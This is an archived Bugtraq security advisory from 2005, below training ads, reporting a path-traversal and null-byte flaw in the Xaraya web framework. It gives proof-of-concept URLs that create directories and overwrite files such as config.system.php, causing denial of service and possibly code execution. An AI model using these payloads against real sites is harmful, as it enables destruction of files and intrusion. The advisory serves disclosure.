Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Bugtraq
[Top] [All Lists]

Xaraya <= 1.0.0 RC4 D.O.S / file corruption

Subject: Xaraya <= 1.0.0 RC4 D.O.S / file corruption
Date: 29 Nov 2005 15:51:12 -0000
Xaraya <= 1.0.0 RC4 D.O.S / file corruption

software:
site: http://www.xaraya.com
description: "Xaraya 1.0 Core is an Open Source web application framework
written in PHP"

vulnerable code in create() function in xarMLSXML2PHPBackend.php:



i) you can create an empty dir, in some cases this leads to D.O.S. 
condition,poc:

http://[target]/[path_to_xaraya]/index.php?module=../../../../.key.php
http://[target]/[path_to_xaraya]/index.php?module=../../../../../.htaccess




ii) you can overwite any file on target system, using null char

example, D.O.S, overwriting a system file:

http://[target]/[path_to_xaraya]/index.php?module=../../../../config.system.php%00

this could lead to remode code execution condition even, if a user overwrite
some file where an inclusion path is defined





rgod
site: http://rgod.altervista.org
mail: retrogod at aliceposta it
original advisory: http://rgod.altervista.org/xaraya1DOS.hmtl

<Prev in Thread] Current Thread [Next in Thread>